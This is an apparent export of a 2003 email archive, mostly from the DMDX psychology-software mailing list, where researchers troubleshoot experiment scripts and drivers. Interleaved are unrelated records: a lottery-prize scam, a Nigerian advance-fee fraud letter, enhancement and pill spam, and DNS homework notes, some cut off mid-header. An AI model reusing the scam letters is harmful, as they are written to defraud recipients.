G.M",0,0 agnès caño ,Dmdx ,"Mon, 10 Feb 2003 12:16:06 +0100",[DMDX] (no subject),"Dear Mr. Foster, I have a problem with my psichological experiment using DMDX. My experiment have 4 bloks ok 12 trials, each trial consists of 3 images, and I have to evaluate the RT of each of these images. My problem is that in 2 images I want to record the RT by voicekey, but in one image I need to record the RT by keyboard response, and this is the point that I don't know how do it. Actually my experiment (only one trial ) is the next: +1 ""imagen1.bmp"" / ""negro.bmp"" / * ""image1.bmp""; ""imagen2.bmp"" / +2 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""ajedrez.bmp""; +3 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""ancla.bmp""; I would Know how it has to be made to record the TR of the image1 by presing the Keyboard (space), while recording of the other 2 images would be by voicekey. If this isn't possible, I would like to know how the first image could disappear by preming a key ( I don't care about the recording of this image ) whithout modificate the other two images. Thank you for all, sincerely A. Caño",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 10 Feb 2003 08:44:28 -0700",[DMDX] Re: (no subject),"You will want to use and to map and unmap responses on a trial by trial basis.  See the input notes: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhinput.htm   So the voice key trials will have in them and the keyboard trials will have At 12:16 PM 2/10/2003 +0100, you wrote: Dear Mr. Foster, I have a problem with my psichological experiment using DMDX. My experiment have 4 bloks ok 12 trials, each trial consists of 3 images, and I have to evaluate the RT of each of these images. My problem is that in 2 images I want to record the RT by voicekey, but in one image I need to record the RT by keyboard response, and this is the point that I don't know how do it. Actually my experiment (only one trial ) is the next:   +1 ""imagen1.bmp"" / ""negro.bmp"" / * ""image1.bmp"";  ""imagen2.bmp"" / +2 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp""  / * ""ajedrez.bmp""; +3 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""ancla.bmp""; I would Know how it has to be made to record the TR of the image1 by presing the Keyboard (space), while recording of the other 2 images would be by voicekey. If this isn't possible, I would like to know how the first image could disappear by preming a key ( I don't care about the recording of this image ) whithout modificate the other two images. Thank you for all, sincerely A. Caño                                                /""\\  -jonathan (j.c.f.)                            \\ /                                                 X     ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL  / \\   What we love we shall grow to resemble.                                           - Bernard of Clairvaux",0,1 Angelina Maria Copeland ,DMDX@psy1.psych.arizona.edu,"Mon, 10 Feb 2003 11:18:33 -0500",[DMDX] illegal operation,"Hi, I was wondering if anyone has had any problems with DMDX performing an illegal operation and closing when trying to run or syntax check a script. Below are the comments given when this happens: DMDX caused an invalid page fault in module DMDX.EXE at 016f:0043fec0. Registers: EAX=7efefefe CS=016f EIP=0043fec0 EFLGS=00010246 EBX=0069fa36 SS=0177 ESP=0069f5b8 EBP=0069f5e0 ECX=83015000 DS=0177 ESI=0044f6dc FS=2ddf EDX=7efefefe ES=0177 EDI=0046937f GS=0000 Bytes at CS:EIP: 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 Stack dump: 0043c77a 83012006 83012006 00469d76 83012006 00000049 000000eb 00469d74 0069f628 0040b0b1 0069f628 0040b530 83012006 0044eb9c 00468078 0044f6dc Thanks for any help, Angelina ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 10 Feb 2003 14:28:47 -0700",[DMDX] Re: illegal operation," Update your drivers, DMDX uses some fairly unusual machine features that can easily be busted but no one notices because nothing but DMDX uses them. Usual candidates are video drivers, audio drivers, and motherboard chipset drivers (usually the VIA Hyperion update fixes the chipset if it's fixable). At 11:18 AM 2/10/2003 -0500, you wrote: >Hi, >I was wondering if anyone has had any problems with DMDX performing an >illegal operation and closing when trying to run or syntax check a script. >Below are the comments given when this happens: > >DMDX caused an invalid page fault in >module DMDX.EXE at 016f:0043fec0. >Registers: >EAX=7efefefe CS=016f EIP=0043fec0 EFLGS=00010246 >EBX=0069fa36 SS=0177 ESP=0069f5b8 EBP=0069f5e0 >ECX=83015000 DS=0177 ESI=0044f6dc FS=2ddf >EDX=7efefefe ES=0177 EDI=0046937f GS=0000 >Bytes at CS:EIP: >8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 >Stack dump: >0043c77a 83012006 83012006 00469d76 83012006 >00000049 000000eb 00469d74 0069f628 0040b0b1 >0069f628 0040b530 83012006 0044eb9c 00468078 0044f6dc /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. 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But somehow, just when the dwarves were most despairing, Bilbo felt a strange lightening of the heart, as if a heavy weight had gone from ",1,1 Thomson Gregory ,DMDX@psy1.psych.arizona.edu,"Tue, 11 Feb 2003 12:21:06 +0600",[DMDX] NVIDIA GeFORCE driver 41.09," Being bothered by the fact that the superimposed wedges in the Refresh Rate test flickered severely non-stop, and the test could never get more than 10 or 12 consecutive cycles to time, I decided to update to the latest driver, verson 41.09. Having done that, the Refresh Rate test worked remarkably better, getting 100 consecutive cycles quickly. However, suddenly, TimeDX could not create findable registry keys, it seems. Am I the first one to find that updating this driver has this effect? I don't even know what version of the driver I replaced, or whether that version would still available from their website (I doubt it). Any other suggestions for getting TimeDX to create findable registry keys with a new version of a video driver? Just wait around for a new video driver version? Greg ",0,0 Bobby KX Rowley ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Feb 2003 13:48:32 +0800",want to make a baby? gupir,"SPUR-M Formula Increase semen production 500% Blast 5x your load and have longer more satisfying release. Complete satisfaction totally guaranteed by the industry leader - it is a money-back guarantee that has never been used by any of our million customers! This is the secret recipe trusted by top adult-film stars for their huge effects! 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At 11:18 AM 2/10/2003 -0500, you wrote: >Hi, >I was wondering if anyone has had any problems with DMDX performing an >illegal operation and closing when trying to run or syntax check a script. >Below are the comments given when this happens: > >DMDX caused an invalid page fault in >module DMDX.EXE at 016f:0043fec0. >Registers: >EAX=7efefefe CS=016f EIP=0043fec0 EFLGS=00010246 >EBX=0069fa36 SS=0177 ESP=0069f5b8 EBP=0069f5e0 >ECX=83015000 DS=0177 ESI=0044f6dc FS=2ddf >EDX=7efefefe ES=0177 EDI=0046937f GS=0000 >Bytes at CS:EIP: >8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 >Stack dump: >0043c77a 83012006 83012006 00469d76 83012006 >00000049 000000eb 00469d74 0069f628 0040b0b1 >0069f628 0040b530 83012006 0044eb9c 00468078 0044f6dc /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What we love we shall grow to resemble. - Bernard of Clairvaux ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Feb 2003 09:22:20 -0700",[DMDX] Re: NVIDIA GeFORCE driver 41.09,"At 12:21 PM 2/11/2003 +0600, you wrote: > Being bothered by the fact that the superimposed wedges in the Refresh >Rate test flickered severely non-stop, and the test could never get more >than 10 or 12 consecutive cycles to time, I decided to update to the >latest driver, verson 41.09. Having done that, the Refresh Rate test >worked remarkably better, getting 100 consecutive cycles quickly. >However, suddenly, TimeDX could not create findable registry keys, it >seems. Am I the first one to find that updating this driver has this >effect? I don't even know what version of the driver I replaced, or >whether that version would still available from their website (I doubt >it). Any other suggestions for getting TimeDX to create findable >registry keys with a new version of a video driver? Just wait around for >a new video driver version? Which OS are you using? Perhaps you're using XP and are timing 1024,768,16,60 but asking for 1024,768,16,0 in your item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What we love we shall grow to resemble. - Bernard of Clairvaux ",0,0 woodi ,DMDX@psy1.psych.arizona.edu,"Tue, 11 Feb 2003 10:39:42 -0600",[DMDX] about the clock on character,"Hi, I met some problem in my RTF file. Do anyone know how to solve it? There was a mistake in one RTF file. Like "" =024 ""+""*/""ttt"";. But I want to know,if the * at that place( not at the beginning of a frame but at the end) , when the system start to record the the Response time? Thanks a lot.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Feb 2003 11:44:28 -0700",[DMDX] Re: about the clock on character,"At 10:39 AM 2/11/2003 -0600, you wrote: >Hi, >I met some problem in my RTF file. Do anyone know how to solve it? > >There was a mistake in one RTF file. >Like "" =024 ""+""*/""ttt"";. >But I want to know,if the * at that place( not at the beginning of a frame >but at the end) , when the system start to record the >the Response time? All components of a frame are position insensitive. Doesn't matter where in a frame the clockon goes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 woodi ,DMDX@psy1.psych.arizona.edu,"Tue, 11 Feb 2003 13:38:46 -0600",[DMDX] Re: about the clock on character,"Thanks. So it means that the * in the first frame, in which the cross is? It is right? Di At 11:44 AM 2/11/2003 -0700, you wrote: >At 10:39 AM 2/11/2003 -0600, you wrote: >>Hi, >>I met some problem in my RTF file. Do anyone know how to solve it? >> >>There was a mistake in one RTF file. >>Like "" =024 ""+""*/""ttt"";. >>But I want to know,if the * at that place( not at the beginning of a >>frame but at the end) , when the system start to record the >>the Response time? > > > All components of a frame are position insensitive. Doesn't matter > where in a frame the clockon goes. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Tilting at windmills hurts you more than the windmills. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Feb 2003 17:48:17 -0700",[DMDX] Re: about the clock on character,"Yeah, slashes are frame dividers. At 01:38 PM 2/11/2003 -0600, you wrote: >Thanks. >So it means that the * in the first frame, in which the cross is? >It is right? > >Di > >At 11:44 AM 2/11/2003 -0700, you wrote: >>At 10:39 AM 2/11/2003 -0600, you wrote: >>>Hi, >>>I met some problem in my RTF file. Do anyone know how to solve it? >>> >>>There was a mistake in one RTF file. >>>Like "" =024 ""+""*/""ttt"";. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What we love we shall grow to resemble. - Bernard of Clairvaux",0,0 Thomson Gregory ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Feb 2003 11:03:42 +0600",[DMDX] Ответ: [DMDX] Re: NVIDIA GeFORCE driver 41.09,"Thanks for the idea. No, I'm using Windows 98. However, DMDX was looking for a registry key that differed from the one chosen with the Select Video Mode command (looking for one with 8 bits, when I'd selected 16). I couldn't change that, and so I tried switching from the video driver ""1 NVIDIA GeForce 2 MX 100/200"" which I had used with the previous driver version, to the one called ""0 pervychnyj videodrajver"" and presto. Up and running again. So upgrading the video driver led to a change in terms of which of the three options offered by the Select Video Command is the one that works. (Actually, with the previous driver version, both ""NVIDIA GeForce 2 MX 100/200"" and ""pervychnyj videodrajver"" worked, while with the updated driver, only the latter works.) These sudden glitches sure can eat up a lot of time. Does it ever get better? Somebody tell me it gets better. Greg > ----- Исходное сообщение ----- > От: j.c.f. [SMTP:jforster@psy1.psych.arizona.edu] > Отправлено: February 11, 2003 10:22 PM > Кому: DMDX@psy1.psych.arizona.edu > Тема: [DMDX] Re: NVIDIA GeFORCE driver 41.09 > > At 12:21 PM 2/11/2003 +0600, you wrote: > > Being bothered by the fact that the superimposed wedges in the > Refresh > >Rate test flickered severely non-stop, and the test could never get > more > >than 10 or 12 consecutive cycles to time, I decided to update to the > >latest driver, verson 41.09. Having done that, the Refresh Rate test > >worked remarkably better, getting 100 consecutive cycles quickly. > >However, suddenly, TimeDX could not create findable registry keys, it > >seems. Am I the first one to find that updating this driver has this > >effect? I don't even know what version of the driver I replaced, or > >whether that version would still available from their website (I > doubt > >it). Any other suggestions for getting TimeDX to create findable > >registry keys with a new version of a video driver? Just wait around > for > >a new video driver version? > > Which OS are you using? Perhaps you're using XP and are timing > 1024,768,16,60 but asking for 1024,768,16,0 in your item file. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > What we love we shall grow to resemble. > - Bernard of Clairvaux > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 davolemendes2@virgilio.it,,"Wed, 12 Feb 2003 04:25:43 +0100",Ref Number: SWE/074OY8/01/SWKY,"Ref Number: SWE/074OY8/01/SWKY PRIZE AWARD DEPARTMENT, SWEDISH- PLAYTAKE INTERNATIONAL PROMOTIONS, NYGATAN 12, 80322 GAVLE SWEDEN. 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After this date all unclaimed funds would be included in the nextstake.Remember to quote your reference information in all correspondence with your Paying Bank.You are to keep all lotto information away from the general public especially your reference and ticket numbers. (This is important as a case of double claims will not be entertained). Be informed that Members of the affiliate agencies and banks, are automatically not allowed to participate in this program. Congratulations once again from all our staff and we hope you claim your price immediately. Sincerely Yours, MRS.DAVOLE MENDES. International Lottry Co-ordinator. ",1,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Feb 2003 10:55:14 -0700",[DMDX] Re: Ответ: [DMDX] Re: NVIDIA GeFORCE driver 41 .09,"At 11:03 AM 2/12/2003 +0600, you wrote: >Thanks for the idea. No, I'm using Windows 98. However, DMDX was looking >for a registry key that differed from the one chosen with the Select >Video Mode command (looking for one with 8 bits, when I'd selected 16). TimeDX's currently selected video means has no correlation with anything that DMDX does. You use it to pick and time video modes that DMDX will need because you reference them in item files. >I couldn't change that, and so I tried switching from the video driver >""1 NVIDIA GeForce 2 MX 100/200"" which I had used with the previous >driver version, to the one called ""0 pervychnyj videodrajver"" and >presto. Up and running again. So upgrading the video driver led to a >change in terms of which of the three options offered by the Select >Video Command is the one that works. (Actually, with the previous driver >version, both ""NVIDIA GeForce 2 MX 100/200"" and ""pervychnyj >videodrajver"" worked, while with the updated driver, only the latter >works.) > >These sudden glitches sure can eat up a lot of time. Does it ever get >better? Somebody tell me it gets better. Depends how much of the documentation you read and or understand. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. ",0,0 Dan Yi ,Dennis Streveler ,"Wed, 12 Feb 2003 16:29:38 -1000",[ICS 691] proposal of project,"Electronic Medical Insurance Card --- by Dan YI There are so many insurance companies in US. When a person go to see doctor,the doctor need to know which insurance plan he has bought and also some necessary information about that insurance company. There comes the problem. If the insurance company is very famous, for example,Kaizer,the doctor don't need to worry about anything. but, what if it's a small company and doctor has no idea of it before? Then the doctor have to do lots of search work before he can do anything for the patient. He has to go to the internet and use google ,or whatever, to search that insurance company and see how much the plan will cover, which would wastes time. This kind of thing may happens quite often, specially when a person travels outsides. Explain the detail of medical insurance to the doctor is a big trouble,specially when you are in emergency. So we may think of designing a electronic medical insurance card,which can store necessary information about the medical insurance the patient bought, also the medical insurance history, if possible.When the person go to see doctor,he only need to show his electronic card to him, and the doctor, who has a special card-read machine,slides the card in that machine, then, all the information are showed on the computer.No explainning, no surfing, saves time. The electronic medical card looks just like a credit card. It's easy to carry.To make it usable, it must have a unique medical insurance number on it,which can be the SSN of the patient,or the number provided by the insurance company.And the country or the state where the insurance company locate can build a database for those companies. All the legal insurance company are required to register on that database, provide their medical insurance information and report the updation to the country/state medical database every year. It's convenient for customer to choose his medical plan in that way.Before customer buy any medical insurance, he is required to take a medical check in any hospital he can find, which should provide the medical check for free or with little fee.(Costomer are required to take the mecidal check every year and report the result to his insurance company).With that check result, a customer can talk to the insurance company he favors about the insurance plan. Based on the customer's health condition, the company may decide which plan is better for that customer. and with agreement, the company can store the health information into the electronic medical card. This can help the doctors a lot. ",0,0 Greg Thomson ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Feb 2003 15:26:55 +0600",[DMDX] NVIDIA_GeFORCE_driver_41.09,"At 10:55 AM -0700 2/12/03, Jonathan C. Forster wrote: >At 11:03 AM 2/12/2003 +0600, you wrote: >>Thanks for the idea. No, I'm using Windows 98. However, DMDX was looking >>for a registry key that differed from the one chosen with the Select >>Video Mode command (looking for one with 8 bits, when I'd selected 16). > > TimeDX's currently selected video means has no correlation with >anything that DMDX does. You use it to pick and time video modes >that DMDX will need because you reference them in item files. My guess then, is that updating the video driver changed the name the ""1 NVIDIA GeForce etc."" option slightly (I have no way to tell), so that the registry key for the necessary video mode no longer worked, while it didn't change the name of the ""0 pervychnyj videodrajver"" option, and I must have in the dim dark past monkeyed with that option in TimeDX so that there was a registry key hanging around with the video mode called for by the item file. In that case, the mystery dissolves. The next time some ignoramus like me updates a video driver and suddenly an item file that was working fine leads to the registry key error message, you might guess that something similar has occurred. >>These sudden glitches sure can eat up a lot of time. Does it ever get >>better? Somebody tell me it gets better. > > > Depends how much of the documentation you read and or understand. > I continue rereading it, understanding more each time. Certain things I will never understand until I find someone who knows what various terms mean (like ""blit,"" etc.). Thanks. Warmly, Greg ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Feb 2003 11:17:35 -0700",[DMDX] Re: NVIDIA_GeFORCE_driver_41.09,"At 03:26 PM 2/13/2003 +0600, you wrote: >At 10:55 AM -0700 2/12/03, Jonathan C. Forster wrote: >> TimeDX's currently selected video means has no correlation with >> anything that DMDX does. You use it to pick and time video modes that >> DMDX will need because you reference them in item files. > >My guess then, is that updating the video driver changed the name the ""1 >NVIDIA GeForce etc."" option slightly (I have no way to tell), so that the >registry key for the necessary video mode no longer worked, while it >didn't change the name of the ""0 pervychnyj videodrajver"" option, and I >must have in the dim dark past monkeyed with that option in TimeDX so that >there was a registry key hanging around with the video mode called for by >the item file. In that case, the mystery dissolves. The next time some >ignoramus like me updates a video driver and suddenly an item file that >was working fine leads to the registry key error message, you might guess >that something similar has occurred. Astute analysis. Except for the guessing bit, I didn't have to guess, I knew that's what your problem was ;) >> Depends how much of the documentation you read and or understand. > >I continue rereading it, understanding more each time. Certain things I >will never understand until I find someone who knows what various terms >mean (like ""blit,"" etc.). Ah hah, thinks me, I do define it. But using the wondrous Search function in the new help none of the occurrences of blit contain a definition. Well, now the TimeDX Vertical Retrace blurb defines blit. Thank you for pointing it out. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 14 Feb 2003 09:41:05 +0100",[DMDX] Preferred Video card(s) for DMDX ?,"Jonathan, If you were setting up a new DMDX system running under XP, what video card would be your first choice? Also, I don't have a good sense of the demands that DMDX places on the computer (except that running some protocols on a 133Mhz pentium with 64 MB RAM can be dicey at times). Are processor speeds < 150 Mhz or < 64Mb RAM, for example, generally considered serious performance limiting factors? Thank you, Derek -- Derek N. Eder Göteborg University Institute of Clinical Neuroscience, Section of Clinical Neurophysiology Blå Stråket 7, vån 3 SU/Sahlgrenska University Hospital SE 413 45 Göteborg, Sweden email: derek.eder@neuro.gu.se tlf: +46 (031) 342 4414 fax: +46 (031) 82 12 68 web page: www.neuro.gu.se/sad",0,0 Angelina Maria Copeland ,DMDX@psy1.psych.arizona.edu,"Fri, 14 Feb 2003 10:26:29 -0500",[DMDX] image paths,"Hi, I am trying to have DMDX search in multiple folders for a single jpg file. I know that you can use ""folder/stimulus"" to look inside a folder that is in the current directory to get a stimulus, but I have so many stimuli that dmdx can't find them all in a single folder (and I can't have certain going to certain folders). Is there a way of having DMDX look in multiple folders for a jpg that is only in one of them? I tried setting a path to all of the folders in the autoexec.bat but that didn't work. Thanks, Angelina",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Feb 2003 08:38:54 -0700",[DMDX] Re: Preferred Video card(s) for DMDX ?,"At 09:41 AM 2/14/2003 +0100, you wrote: >Jonathan, > >If you were setting up a new DMDX system running under XP, what video card >would be your first choice? Probably an ATI Radeon 7500. >Also, I don't have a good sense of the demands that DMDX places on the >computer (except that running some protocols on a 133Mhz pentium with 64 >MB RAM can be dicey at times). Are processor speeds < 150 Mhz or < 64Mb >RAM, for example, generally considered serious performance limiting factors? Yes, generally considered serious performance limiting factors. Not so much the memory but the processor speed for sure. Of course, you're never going to get XP to even boot on such a setup... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What we love we shall grow to resemble. - Bernard of Clairvaux",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Feb 2003 08:41:23 -0700",[DMDX] Re: image paths,"At 10:26 AM 2/14/2003 -0500, you wrote: >Hi, I am trying to have DMDX search in multiple folders for a single jpg >file. I know that you can use ""folder/stimulus"" to look inside a folder >that is in the current directory to get a stimulus, but I have so many >stimuli that dmdx can't find them all in a single folder (and I can't have >certain going to certain folders). Is there a way of having DMDX >look in multiple folders for a jpg that is only in one of them? I tried >setting a path to all of the folders in the autoexec.bat but that didn't >work. No. Use specific paths, for instance: +1 * ""c:\\full\\path\\filanme.jpg""; You can use relative paths if you need to. Assuming you ran the item file our of c:\\full the following should work: +1 * ""path\\filanme.jpg""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What we love we shall grow to resemble. - Bernard of Clairvaux",0,0 jenkins eleme ,XXX@XXXXXXXXXXXXX.XX.XX,"Mon, 17 Feb 2003 17:05:34 +0000",REPLY URGENTLY PLS," PRINCE JENKINS ELEME Plot 277 Mohtala mohammed way Ikeja Lagos. INTRODUCTION: l am PRINCE JENKINE ELEME a Civil servant. l know this proposal will come to you as a surprise because we have not met before either physically or through correspondence. I have no doubt in your ability to handle this proposal involving huge sum of money. THE SUBJECT: MY FATHER CHIEF JOHN ELEME(Now Late) was the Royal Head of my ommunity, ELEME (an oil rich town) in Nigeria. My community produces 5.8% of the total crude oil production in Nigeria and 0.5% of the Dollar value of each barrel is paid to my father as royalty by the Federal Government. My father was also the Chairman of ELEME Special Oil Trust Fund. In his position as the Royal head and Chairman of the Oil Trust Fund, he made some money which he left for me as the only thing to inherit. The money is Ten Million Five Hundred Thousand US Dollars($10.5m). This Money originated from the accumulation between 1976-1998. Due to poor banking system in Nigeria and political instability as a result of past Military rules (1985-1999) , he deposited this Money in a Strong Room/""VAULTS"" with an open beneficiary in Apex Bank of Nigeria pending when he would finish arrangement to transfer it abroad as a CONTRACT PAYMENT. He was planning this when he died late last year of Heart Attack. THE PROPOSAL: Just before my father died he called my attention to the money and charged me to look for a foreigner who would assist me in the transfer/investment of the funds abroad. So l would be very grateful if you could accept to help me archieve this great objective. I promise to give you 20% of the total funds transferred to your vital bank account as compensation for your assistance. Five percent (5%)would be set aside to take care of all expenses we may incure during the transaction. To indicate your interest, contact me urgently and confidentially for more information and the roles you will play in this business. All the legal information concerning this Money will be sent to you as soon as we agree together. Send your reply through this mail box. May the almighty God bless you. Yours faithfully, PRINCE JENKINS ELEME. --------------------------------- With Yahoo! Mail you can get a bigger mailbox -- choose a size that fits your needs ",1,0 Frank ,dmdx@psy1.psych.arizona.edu,"Mon, 17 Feb 2003 06:01:53 -0800",.com," C a I c A m L q I k S y M d E o R z I t D p I r A m S x O q M n A t V y A i L o I r U h M d V w I h A x G a R n A b X y A q N r A n X i A f M y B c I s E s N m S u A m V x E e s O k V w E d R f l 7 f 0 i % v c W r I p T e H h o O d U y R y d S p H f O w P p ! j [1]pi11 you want _________________________________________________________________ | Travels About It: Post Thoughts lost her sister Lorraine Lee in the New York attacks, was deflated. ""I guess in this country you can kill 3,000 people and not pay with your life,"" she said. ""I feel very much let down by this country. conspirator Zacarias Moussaoui escaped the death penalty Wednesday as a jury decided he deserved life in prison instead for his role in the bloodiest terrorist attack in U.S. history. ""America, you lost,"" Moussaoui taunt beration, the nine men and three women rebuffed the government's appeal for death for the only person charged in this country in the four suicide jetliner hijackings that killed nearly 3,000 people on Sept. 11, 2001. ives: References 1. file://localhost/home/cmf2/tasks/mailien_05_58/pi11 you want ",1,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Feb 2003 17:31:35 +0100",[DMDX] Measurement Computing PCI DIO-24 - drivers needed?,"The Measurement Computing PCI DIO-12 card (see DMDX help: Interfacing issues) does not come with drivers. They sell their drivers as a $70 (in Europe) add-on package called the ""Universal Library"" Are these needed for DMDX? Thanks, Derek -- Derek N. Eder Göteborg University Institute of Clinical Neuroscience, Section of Clinical Neurophysiology Blå Stråket 7, vån 3 SU/Sahlgrenska University Hospital SE 413 45 Göteborg, Sweden email: derek.eder@neuro.gu.se tlf: +46 (031) 342 4414 fax: +46 (031) 82 12 68 web page: www.neuro.gu.se/sad ",0,0 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Feb 2003 18:08:04 +0100",[DMDX] zillion responses,"Dear Jonathan I'm trying to make a file with zillion responses. I'm having great problems, and I promise I've tried very hard to test many alternatives. One preliminary problem is that DM is telling me when the subject has stopped pressing the button as well as the onset time. How do I suppress that? The main question is this. Each trial has two parts, and I've tried to do each trial as one as well as to split it into two. the subject has to give a binary decision first on an image, and then type the image's name. I attach my embarassingly incorrect file for your perusal. At the moment, I've got an item presenting the image and then a second grouped item asking ""mot?"" for the name. I don't care here if there are no times at all, I just want to know what name the subject wants to give the image. My file at present has a clock on indicator in the second part, because leaving it out didn't seem to work at all. When I test out what I've done I can't get the image to go away when I respond. HELP!!!! >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 18 14:08:42 2003 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id h1IL5LdW007870 for ; Tue, 18 Feb 2003 14:05:21 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3E522B2900015DB8 for DMDX@psy1.psych.arizona.edu; Tue, 18 Feb 2003 14:15:32 -0700 Message-Id: <5.1.0.14.2.20030218141446.00b13250@psy1.psych.arizona.edu> Date: Tue, 18 Feb 2003 14:15:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: zillion responses In-Reply-To: <5.1.0.14.2.20030218140859.00b13250@psy1.psych.arizona.edu> References: <5.2.0.9.0.20030218175437.009f00b0@post.psych.unimelb.edu.a u> <3E525FE7.5070902@neuro.gu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Excuse please, just trying to check if the server has come back into functioning state again... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 ,,,,"]) by mail.cs.utexas.edu (8.12.3/8.12.3) with ESMTP id h1INGGrj007963 for ; Tue, 18 Feb 2003 17:16:16 -0600 (CST) Received: (from wangf@localhost) by haarlem.cs.utexas.edu (8.12.2/8.12.2/Submit) id h1INGGfW028535; Tue, 18 Feb 2003 17:16:16 -0600 Date: Tue, 18 Feb 2003 17:16:16 -0600 (CST) From: Feng Wang To: Chris Edmondson-Yurkanan Subject: Re: please forward h1 solution In-Reply-To: <200302182221.h1IMLMJ9023333@neverland.cs.utexas.edu> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY=""1400916880-1559254401-1045610128=:28523 "" Content-ID: Status: ORr This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1400916880-1559254401-1045610128=:28523 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: I attached the txt file. Please check if it's OK. Thanks, Feng --1400916880-1559254401-1045610128=:28523 Content-Type: TEXT/PLAIN; NAME=""soln-1.txt"" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=""soln-1.txt"" CSAgSG13azI6IEFuYWx5emluZyB0aGUgQXBwbGljYXRpb24gbGF5ZXIgZGVz aWduIG9mIE5OVFANCg0KMSkgQSkgVGhlIE5ldHdvcmsgTmV3cyB1c2VyIGFn ..... ..... dXJhdGlvbiBsaXN0IG9mIHdoaWNoIE5OVFAgc2VydmVycyB0byBjb250YWN0 IG9yIGFjY2VwdCBhIGNvbnRhY3QgZnJvbS4NCg== --1400916880-1559254401-1045610128=:28523-- THREE ANNOTATED DNS QUERIES with RESPONSES Scenario 1 DNS query for the MX records of ibm.com (for anyone whose email was @ibm.com). Based on the measured response time I can deduce that the info was not in our local name server's cache. I repeated it immediately afterwards, and the response time was 0 msec and thus was retrieved from the L.N.S. cache. Note the authoritative section with all the 4 Authoritative Name Servers that have the longest match to the domain name specified in the question. And note that the 4 additional answers are all A resource records of names provided in the answers or the authoritative sections. Scenario 2 DNS query that is NOT to our local name server but is instead being sent to an authoritative name server found in one of the NS records.... Thus if I (or a local name server) had sent an iterative query data to the local name server and if it did not have a match, then it would send me back an NS record in the authoritative section, with the hostname of an authoritative name server that will help me find my answer. Scenario 3 DNS query to our local name server of a ""mistyped"" name, which based on the delay we know that it was sent to another name server,which by definition would be 1 of the root name servers. The SOA resource record is always sent back when there is no answer, and it indicates which name server is THE official name server that should have this data if anyone would.... The SOA RR contains the email address of someone to contact to ask about this data or knows why it has been deleted. The SOA 